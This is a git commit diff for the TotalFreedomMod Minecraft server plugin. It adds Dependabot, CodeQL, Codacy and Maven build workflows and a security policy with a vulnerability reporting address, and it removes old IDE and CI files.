Bump to RC03

Fixes an oopsie I made whilst sleep deprived

.github/dependabot.yml

@@ -0,0 +1,23 @@
+# To get started with Dependabot version updates, you'll need to specify which
+# package ecosystems to update and where the package manifests are located.
+# Please see the documentation for all configuration options:
+# https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
+
+version: 2
+updates:
+
+  # Maintain Maven Updates
+  - package-ecosystem: "maven" # See documentation for possible values
+    directory: "/" # Location of package manifests
+    target-branch: "development"
+    open-pull-requests-limit: 50
+    schedule:
+      interval: "daily"
+      
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    target-branch: "development"
+    open-pull-requests-limit: 50
+    schedule:
+      interval: "daily"

.github/workflows/codacy-analysis.yml

@@ -0,0 +1,46 @@
+# This workflow checks out code, performs a Codacy security scan
+# and integrates the results with the
+# GitHub Advanced Security code scanning feature.  For more information on
+# the Codacy security scan action usage and parameters, see
+# https://github.com/codacy/codacy-analysis-cli-action.
+# For more information on Codacy Analysis CLI in general, see
+# https://github.com/codacy/codacy-analysis-cli.
+
+name: Codacy Security Scan
+
+on:
+  push:
+    branches: [ development ]
+  pull_request:
+    branches: [ development ]
+
+jobs:
+  codacy-security-scan:
+    name: Codacy Security Scan
+    runs-on: ubuntu-latest
+    steps:
+      # Checkout the repository to the GitHub Actions runner
+      - name: Checkout code
+        uses: actions/checkout@v2
+
+      # Execute Codacy Analysis CLI and generate a SARIF output with the security issues identified during the analysis
+      - name: Run Codacy Analysis CLI
+        uses: codacy/codacy-analysis-cli-action@4.0.0
+        with:
+          # Check https://github.com/codacy/codacy-analysis-cli#project-token to get your project token from your Codacy repository
+          # You can also omit the token and run the tools that support default configurations
+          project-token: ${{ secrets.CODACY_PROJECT_TOKEN }}
+          verbose: true
+          output: results.sarif
+          format: sarif
+          # Adjust severity of non-security issues
+          gh-code-scanning-compat: true
+          # Force 0 exit code to allow SARIF file generation
+          # This will handover control about PR rejection to the GitHub side
+          max-allowed-issues: 2147483647
+
+      # Upload the SARIF file generated in the previous step
+      - name: Upload SARIF results file
+        uses: github/codeql-action/upload-sarif@v1
+        with:
+          sarif_file: results.sarif

.github/workflows/codeql-analysis.yml

@@ -0,0 +1,74 @@
+# For most projects, this workflow file will not need changing; you simply need
+# to commit it to your repository.
+#
+# You may wish to alter this file to override the set of languages analyzed,
+# or to provide custom queries or build logic.
+#
+# ******** NOTE ********
+# We have attempted to detect the languages in your repository. Please check
+# the `language` matrix defined below to confirm you have the correct set of
+# supported CodeQL languages.
+#
+name: "CodeQL"
+
+on:
+  push:
+    branches: [ development ]
+  pull_request:
+    # The branches below must be a subset of the branches above
+    branches: [ development ]
+  schedule:
+    - cron: '20 18 * * 1'
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'java' ]
+        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
+        # Learn more:
+        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v2
+      
+    - name: Setup Java JDK
+      uses: actions/setup-java@v2.3.0
+      with:
+        # The Java version to make available on the path. Takes a whole or semver Java version, or 1.x syntax (e.g. 1.8 => Java 8.x). Early access versions can be specified in the form of e.g. 14-ea, 14.0.0-ea, or 14.0.0-ea.28
+        java-version: 11
+        distribution: 'adopt'
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v1
+      with:
+        languages: ${{ matrix.language }}
+        # If you wish to specify custom queries, you can do so here or in a config file.
+        # By default, queries listed here will override any specified in a config file.
+        # Prefix the list here with "+" to use these queries and those in the config file.
+        # queries: ./path/to/local/query, your-org/your-repo/queries@main
+
+    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
+    # If this step fails, then you should remove it and run the build manually (see below)
+    - name: Autobuild
+      uses: github/codeql-action/autobuild@v1
+
+    # ℹ️ Command-line programs to run using the OS shell.
+    # 📚 https://git.io/JvXDl
+
+    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
+    #    and modify them (or add more) to build your code if your project
+    #    uses a compiled language
+
+    #- run: |
+    #   make bootstrap
+    #   make release
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@v1

.github/workflows/downstream.yml

@@ -0,0 +1,43 @@
+# This is a basic workflow to help you get started with Actions
+
+name: Downstream Branch Updates
+
+on:
+  schedule:
+    - cron:  '20 7 * * *'
+    # scheduled at 07:00 every Monday and Thursday
+
+  workflow_dispatch:  # click the button on Github repo!
+
+
+jobs:
+  sync_with_upstream:
+    runs-on: ubuntu-latest
+    name: Sync main with upstream latest
+
+    steps:
+    # Step 1: run a standard checkout action, provided by github
+    - name: Checkout main
+      uses: actions/checkout@v2
+      with:
+        ref: main
+        # submodules: 'recursive'     ### may be needed in your situation
+
+    # Step 2: run this sync action - specify the upstream repo, upstream branch to sync with, and target sync branch
+    - name: Pull (Fast-Forward) upstream changes
+      id: sync
+      uses: aormsby/Fork-Sync-With-Upstream-action@v2.1
+      with:
+        upstream_repository: AtlasMediaGroup/TotalFreedomMod
+        upstream_branch: main
+        target_branch: development
+        git_pull_args: --ff-only                    # optional arg use, defaults to simple 'pull'
+
+    # Step 3: Display a message if 'sync' step had new commits (simple test)
+    - name: Check for new commits
+      if: steps.sync.outputs.has_new_commits
+      run: echo "There were new commits."
+
+    # Step 4: Print a helpful timestamp for your records (not required, just nice)
+    - name: Timestamp
+      run: date

.github/workflows/java11-maven.yml

@@ -0,0 +1,21 @@
+name: Java11-Maven-Build
+
+on: [push]
+
+jobs:
+  build-java-11:
+
+    runs-on: ubuntu-latest
+
+    steps:
+    # Checkout the code
+    - uses: actions/checkout@v1
+    
+    # Java 11 Builds
+    - name: Set up JDK 11
+      uses: actions/setup-java@v2.3.0
+      with:
+        java-version: 11
+        distribution: 'adopt'
+    - name: Build with Maven
+      run: mvn -B package --file pom.xml

.github/workflows/java17-maven.yml

@@ -0,0 +1,21 @@
+name: Java17-Maven-Build
+
+on: [push]
+
+jobs:
+  build-java-17:
+
+    runs-on: ubuntu-latest
+
+    steps:
+    # Checkout the code
+    - uses: actions/checkout@v1
+
+    # Java 16 Builds
+    - name: Set up JDK 17
+      uses: actions/setup-java@v2.3.0
+      with:
+        java-version: 17
+        distribution: 'adopt'
+    - name: Build with Maven
+      run: mvn -B package --file pom.xml

.github/workflows/maven.yml

@@ -1,17 +0,0 @@
-name: Java CI
-
-on: [push]
-
-jobs:
-  build:
-
-    runs-on: ubuntu-latest
-
-    steps:
-    - uses: actions/checkout@v1
-    - name: Set up JDK 1.8
-      uses: actions/setup-java@v1
-      with:
-        java-version: 1.8
-    - name: Build with Maven
-      run: mvn -B package --file pom.xml

.gitignore

@@ -19,7 +19,13 @@ manifest.mf
 # IntelliJ excludes
 *.ipr
 *.iws
-/.idea
+/.idea/modules.xml
+/.idea/discord.xml
+/.idea/jarRepositories.xml
+/.idea/workspace.xml
+/.idea/uiDesigner.xml
+/.idea/libraries
+/.idea/
 *.iml
 
 # Maven excludes
@@ -32,5 +38,4 @@ manifest.mf
 .Trashes
 ehthumbs.db
 Thumbs.db
-
-TotalFreedomMod\.iml
+.idea/inspectionProfiles/Project_Default.xml

.idea/artifacts/TotalFreedomMod_jar.xml

@@ -1,8 +0,0 @@
-<component name="ArtifactManager">
-  <artifact type="jar" build-on-make="true" name="TotalFreedomMod:jar">
-    <output-path>$PROJECT_DIR$/target</output-path>
-    <root id="archive" name="TotalFreedomMod.jar">
-      <element id="module-output" name="TotalFreedomMod" />
-    </root>
-  </artifact>
-</component>

.idea/codeStyles/Project.xml

@@ -1,28 +0,0 @@
-<component name="ProjectCodeStyleConfiguration">
-  <code_scheme name="Project" version="173">
-    <JavaCodeStyleSettings>
-      <option name="CLASS_COUNT_TO_USE_IMPORT_ON_DEMAND" value="20" />
-      <option name="IMPORT_LAYOUT_TABLE">
-        <value>
-          <package name="" withSubpackages="true" static="false" />
-          <package name="" withSubpackages="true" static="true" />
-        </value>
-      </option>
-    </JavaCodeStyleSettings>
-    <codeStyleSettings language="JAVA">
-      <option name="BRACE_STYLE" value="2" />
-      <option name="CLASS_BRACE_STYLE" value="2" />
-      <option name="METHOD_BRACE_STYLE" value="2" />
-      <option name="LAMBDA_BRACE_STYLE" value="2" />
-      <option name="ELSE_ON_NEW_LINE" value="true" />
-      <option name="WHILE_ON_NEW_LINE" value="true" />
-      <option name="CATCH_ON_NEW_LINE" value="true" />
-      <option name="FINALLY_ON_NEW_LINE" value="true" />
-      <option name="SPACE_AFTER_TYPE_CAST" value="false" />
-      <option name="IF_BRACE_FORCE" value="3" />
-      <option name="DOWHILE_BRACE_FORCE" value="3" />
-      <option name="WHILE_BRACE_FORCE" value="3" />
-      <option name="FOR_BRACE_FORCE" value="3" />
-    </codeStyleSettings>
-  </code_scheme>
-</component>

.idea/codeStyles/codeStyleConfig.xml

@@ -1,5 +0,0 @@
-<component name="ProjectCodeStyleConfiguration">
-  <state>
-    <option name="USE_PER_PROJECT_SETTINGS" value="true" />
-  </state>
-</component>

.idea/compiler.xml

@@ -1,18 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="CompilerConfiguration">
-    <annotationProcessing>
-      <profile default="true" name="Default" enabled="true" />
-      <profile name="Maven default annotation processors profile" enabled="true">
-        <sourceOutputDir name="target/generated-sources/annotations" />
-        <sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
-        <outputRelativeToContentRoot value="true" />
-        <module name="TotalFreedomMod" />
-      </profile>
-    </annotationProcessing>
-    <bytecodeTargetLevel>
-      <module name="totalfreedom" target="1.8" />
-      <module name="TotalFreedomMod" target="1.8" />
-    </bytecodeTargetLevel>
-  </component>
-</project>

.idea/encodings.xml

@@ -1,8 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="Encoding">
-    <file url="file://$PROJECT_DIR$" charset="UTF-8" />
-    <file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
-    <file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
-  </component>
-</project>

.idea/modules.xml

@@ -1,8 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="ProjectModuleManager">
-    <modules>
-      <module fileurl="file://$PROJECT_DIR$/TotalFreedomMod.iml" filepath="$PROJECT_DIR$/TotalFreedomMod.iml" />
-    </modules>
-  </component>
-</project>

.travis.yml

@@ -1 +0,0 @@
-language: java

CONTRIBUTING.md

@@ -1,3 +1,3 @@
-# Contributing to TotalFreedomMod #
+# Contributing to TotalFreedomMod
 
 For information about contributing to TotalFreedomMod, please see the [contributing guidelines](https://github.com/TotalFreedom/TotalFreedomMod/wiki/Contributing).

Jenkinsfile

@@ -1,12 +0,0 @@
-pipeline {
-    agent any
-
-    stages {
-        stage('Build') {
-            steps {
-                mvn -B package --file pom.xml
-                archiveArtifacts artifacts: '**/target/*.jar', fingerprint: true 
-            }
-        }
-    }
-}

LICENSE.md

@@ -1,4 +1,5 @@
-# TotalFreedom General License #
+# TotalFreedom General License
+
 _Version 2.0, 27th February 2015_
 
 Copyright (c) 2011 Steven Lawson
@@ -7,7 +8,8 @@ Copyright (c) 2012 Jerom van der Sar
 
 All rights reserved.
 
-##### 1. Definitions #####
+##### 1. Definitions
+
 "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by this document.
 
 "Licensor" shall mean the copyright holder or entity authorised by the copyright owner that is granting the License.
@@ -30,7 +32,8 @@ All rights reserved.
 
 "Redistribution" shall mean any partial or complete availability, transfer or publication of the Work from one Legal Entity to another.
 
-##### 2. Grant of Copyright License #####
+##### 2. Grant of Copyright License
+
 Subject to the terms and conditions of this License, You are granted a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to prepare Derivative Works of, publicly display, publicly perform, inspect and redistribute the Work and such Derivative Works as long as the following conditions are met:
 
 1. Redistributions of This Software must solely occur in Source form. Redistribution in Object form is prohibited without prior written permission from the Licensor.
@@ -47,8 +50,10 @@ All rights reserved.
 
 7. Sub licensing of This Software is prohibited without prior written permission from the Licensor.
 
-##### 3. Submission of Contributions #####
+##### 3. Submission of Contributions
+
 Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
 
-##### 4. Disclaimer of Warranty #####
+##### 4. Disclaimer of Warranty
+
 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

README.md

@@ -1,14 +1,17 @@
-# TotalFreedomMod [![Build Status](https://travis-ci.org/TFPatches/TotalFreedomMod.svg?branch=TFM-1.15)](https://travis-ci.org/TFPatches/TotalFreedomMod) [![codebeat badge](https://codebeat.co/badges/5f078e55-8a02-4120-9076-70f6994f48d1)](https://codebeat.co/projects/github-com-tfpatches-totalfreedommod-tfm-1-14-fa58c58f-b1c4-4221-bf78-346e07db6961)
+# TotalFreedomMod [![Maven-Build](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/maven.yml/badge.svg)](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/maven.yml) [![Codacy Badge](https://app.codacy.com/project/badge/Grade/29c0f964da304666bd654bc7b1d556db)](https://www.codacy.com/gh/AtlasMediaGroup/TotalFreedomMod/dashboard?utm_source=github.com&utm_medium=referral&utm_content=AtlasMediaGroup/TotalFreedomMod&utm_campaign=Badge_Grade) [![CodeQL](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/codeql-analysis.yml/badge.svg)](https://github.com/AtlasMediaGroup/TotalFreedomMod/actions/workflows/codeql-analysis.yml)
 
-TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](http://totalfreedom.me/). However, you are more than welcome to adapt the source for your own server.
+TotalFreedomMod is a CraftBukkit server plugin designed primarily to support the [Official TotalFreedom Minecraft Server](https://totalfreedom.me/). However, you are more than welcome to adapt the source for your own server.
 
 This plugin was originally coded by StevenLawson (Madgeek1450), with Jerom van der Sar (Prozza) becoming heavily involved in its development some time later. It consists of over 85 custom coded commands and a large variety of distinguishable features not included in any other plugin. The plugin has since its beginning grown immensely. Together, with the main TotalFreedom server, TotalFreedomMod has a long-standing reputation of effectiveness whilst maintaining a clear feeling of openness towards the administrators and the players themselves.
 
-### Contributing ###
+### Contributing
+
 Please see [CONTRIBUTING.md](CONTRIBUTING.md) if you are interested in developing TotalFreedomMod.
 
 For information on how TotalFreedomMod is licensed, please see [LICENSE.md](LICENSE.md).
 
-### Compiling ###
+For information on our security policy and reporting an issue, please see [SECURITY.md](SECURITY.md)
 
-You need Maven to build. You'd also need to set the JDK version to Java 8 as that is the current standard as of now.
+### Compiling
+
+You need Maven to build. You'd also need to set the JDK version to Java 11 as that is the current standard as of now.

SECURITY.md

@@ -0,0 +1,41 @@
+# Security Policy
+
+## Supported Versions
+
+We currently support the code running on the "main" branch and "development" branch of this repository. This is supported in addition to those formal releases, but note anything not yet released should be treated as in-development.
+
+In terms of plugin releases, our support matrix is as follows:
+
+### Actively Supported
+These versions are currently actively supported by our team, and you should expect security patches where appropriate for these versions. 
+
+| Version             | Supported          | Support End:                   |
+| ------------------- | ------------------ | ------------------------------ |
+| 2021.09             | :white_check_mark: | No Earlier than December 2021    |
+
+### Legacy Supported
+These versions are no longer under active development, however we will look to release critical secuirty patches where appropriate. 
+
+| Version             | Supported          | Support End: |
+| ------------------- | ------------------ | ------------ |
+| 2021.06             | :white_check_mark: | October 2021 |
+
+
+### No Longer Supported
+These versions are no longer supported at all. It is strongly advised to update if you are running any of these versions. 
+
+| Version             | Supported          | Support Ended:      |
+| ------------------- | ------------------ | ------------------- |
+| 2021.05             | :white_check_mark: | September 2021      |
+| 2021.04             | :white_check_mark: | July 2021           |
+| 2021.02             | :x:                | 6 June 2021         |
+| 2020.11             | :x:                | 3 May 2021          |
+| 6.0.x (Pre-Release) | :x:                | December 2020       |
+| < 2020.11           | :x:                | December 2020       |
+| < 5.x               | :x:                | December 2020       |
+
+## Reporting a Vulnerability
+
+If the report has minor security implications (ie we've added a super admin to a senior admins permission) please raise an post on [our forums](https://forum.totalfreedom.me/) in the first instance. If you do not have a forum account and do not wish to sign up, please e-mail us using the e-mail in the next sentence.
+
+For security vulnerabilities that are more severe and that may pose a more significant threat to the servers running this plugin, please e-mail os-security-reports [ AT ] atlas-media.co.uk - You can expect an automated response immediately to acknowledge receipt of your e-mail, and one of our team will aim to respond within 72 hours and will work with you on the best way to address your concerns.

TotalFreedomMod.iml

@@ -1,165 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
-  <component name="FacetManager">
-    <facet type="minecraft" name="Minecraft">
-      <configuration>
-        <autoDetectTypes>
-          <platformType>PAPER</platformType>
-        </autoDetectTypes>
-      </configuration>
-    </facet>
-  </component>
-  <component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
-    <output url="file://$MODULE_DIR$/target/classes" />
-    <output-test url="file://$MODULE_DIR$/target/test-classes" />
-    <content url="file://$MODULE_DIR$">
-      <sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
-      <sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
-      <sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
-      <excludeFolder url="file://$MODULE_DIR$/target" />
-    </content>
-    <orderEntry type="inheritedJdk" />
-    <orderEntry type="sourceFolder" forTests="false" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:bukkit:1.9.4-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.avaje:ebean:2.8.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.14.1-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.6" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.14-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:Essentials:2.13.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:3.8.0_423" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.8.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.13.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.json:json:20160810" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:Essentials:2.13.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:3.8.0_423" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.8.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.13.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.json:json:20160810" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.13.1-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:Essentials:2.13.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:craftbukkit:1.13.2-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.dv8tion:JDA:3.8.0_423" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okhttp3:okhttp:3.8.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.squareup.okio:okio:1.13.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.json:json:20160810" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.coreprotect:coreprotect:2.15.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:bukkit:1.13-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.0" level="project" />
-    <orderEntry type="library" name="Maven: commons-io:commons-io:2.6" level="project" />
-    <orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.9" level="project" />
-    <orderEntry type="library" name="Maven: commons-codec:commons-codec:1.9" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot:1.15-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.github.Pravian:Aero:5f82926" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.spigotmc:spigot-api:1.12-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.github.TotalFreedom:BukkitTelnet:4.5-pre1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.logging.log4j:log4j-core:2.5" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.logging.log4j:log4j-api:2.5" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.github.TFPatches:TF-LibsDisguises:11aea9b3cd" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.comphenix.protocol:ProtocolLib:4.5.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: cglib:cglib-nodep:3.2.5" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.comphenix.executors:BukkitExecutors:1.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit:worldedit-bukkit:7.1.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit:worldedit-core:7.1.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit.worldedit-libs:core:7.1.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: de.schlichtherle:truezip:6.8.3" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-profile-default_2.13:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.scala-lang:scala-library:2.13.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-http:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-kernel-spec:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-annotations:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.google.code.findbugs:annotations:3.0.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-cio:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-io:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-services:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-logging:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: javax.inject:javax.inject:1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.httpcomponents:httpclient:4.5.10" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.httpcomponents:httpcore:4.4.12" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.slf4j:jcl-over-slf4j:1.7.28" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-odf:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-comp-zipdriver:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-comp-zip:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.bouncycastle:bcprov-jdk15on:1.63" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-tar:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-comp-tardriver:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.commons:commons-compress:1.19" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-tar-bzip2:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-tar-gzip:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-tar-xz:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.tukaani:xz:1.8" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-zip-raes:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-profile-base_2.13:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-access-swing:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-access:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-file:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-jar:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-driver-zip:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-comp-ibm437:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truevfs:truevfs-kernel-impl_2.13:0.12.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-key-console:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-key-default:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-key-swing:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-key-macosx:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-key-spec:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.java.truecommons:truecommons-shed:2.5.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.mozilla:rhino:1.7.11" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: it.unimi.dsi:fastutil:8.2.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.antlr:antlr4-runtime:4.7.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: com.sk89q.worldedit.worldedit-libs:bukkit:7.1.0" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.bukkit:bukkit:1.13.2-R0.1-SNAPSHOT" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: io.papermc:paperlib:1.0.2" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.apache.logging.log4j:log4j-slf4j-impl:2.8.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: org.bstats:bstats-bukkit:1.7" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:EssentialsX:2.16.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:NMSProvider:2.16.1" level="project" />
-    <orderEntry type="library" scope="PROVIDED" name="Maven: net.ess3:UpdatedMetaProvider:2.16.1" level="project" />
